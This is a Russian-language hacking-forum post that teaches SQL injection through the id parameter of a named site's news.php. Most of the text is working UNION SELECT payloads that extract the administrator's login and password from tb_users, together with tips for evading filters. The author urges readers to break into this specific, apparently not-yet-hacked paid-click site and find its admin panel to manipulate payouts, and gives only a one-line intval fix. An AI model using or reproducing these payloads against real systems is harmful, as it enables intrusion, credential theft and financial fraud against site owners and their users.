theFaus | Дата: Четверг, 23.08.2012, 18:29 | Сообщение # 1 |
 Крутость 300+
Группа: Модераторы
Сообщений: 454
Награды: 8
Репутация: 2
Статус: 
| У многих в скриптах не фильтруется передаваемый параметр id.
Пример: http://5b-u-x.com/news.php?id=pezdec
Как узнать, есть ли возможность запилить у вас инъекцию? Идём по адресу новости любой существующей (id - это номер в ссылке на полную новость).
Пример: http://5b-u-x.com/45-new.html -> превращается у нас в http://5b-u-x.com/news.php?id=45
Теперь проверим возможность на проведение инъекции: http://5b-u-x.com/news.php?id=45' (в конце просто добавили кавычку, если с одной не канает - тыкаем двойную)
Итак, наш результат: нету сообщения, мол новости не существует и при этом мы видим пустую страницу. В нормальных случаях мы бы увидели ошибку в синтаксисе запроса, в нашем же - вывод ошибок отключён, но тем не менее текстового вердикта, мол id новости неправилен - мы не видим.
Давайте этим воспользуемся. Идём в гугл, набираем запрос вида: "antichat.ru полный FAQ SQL инъекции" и читаем. Если хоть немного шарим в SQL запросах, то поехали...
Итак, разберёмся в коде файла, у нас есть запрос, который достаёт инфу о новости: Code SELECT * FROM tb_news WHERE id='$newid' * - значит берёт всю инфу из всех строк.
Теперь глянем в структуру таблицы tb_news, полей там 4: - date; - id; - newstext; - tema.
Немного модернизируем нашу ссылку: http://5b-u-x.com/news.php?id=0' UNION SELECT 1,2,3,4 -- (после -- пробел обязателен, можно также вставить # или /*)
id=0 выбрал id специально несуществующей новости, в противном случае ничего не получится. Цифры 1,2,3,4 специально проставлены для нумерации порядка, чтоб вбить запрос в "битые поля". Наш результат - мы видим цифры 2 и 3.
Давайте продолжать модернизировать линк: http://5b-u-x.com/news.php?id=0' UNION SELECT 1,(SELECT username FROM tb_users WHERE user_status='admin'),(SELECT password FROM tb_users WHERE user_status='admin'),4 -- (опять же пробел)
И что мы видим? Логин и пароль админа, а дальше можно начинать действовать, уж дальше ума много не надо.
1. В статью я не стал расписывать почему и зачем нужны кавычки. Нет смысла - тут многие тугодумы начнут тупо флудить. 2. Букс для примера ещё не был взломан, дерзайте. Там тяжко продумать как его накрутить, ибо админка спрятана. 3. Там автовыплаты, макс.сумма - 15 рублей/раз в сутки. Так что лучше ищите админку. 4. Если на буксе жертве при попытке составить запрос ничего не получается - попробуйте пробелы заменить на + или на /**/
Фикс: В файле news.php меняем: На: Code $newid=intval($_GET[id]); Все.
Если кому чем помог отписывайтесь в теме или ставте +
|
|
| |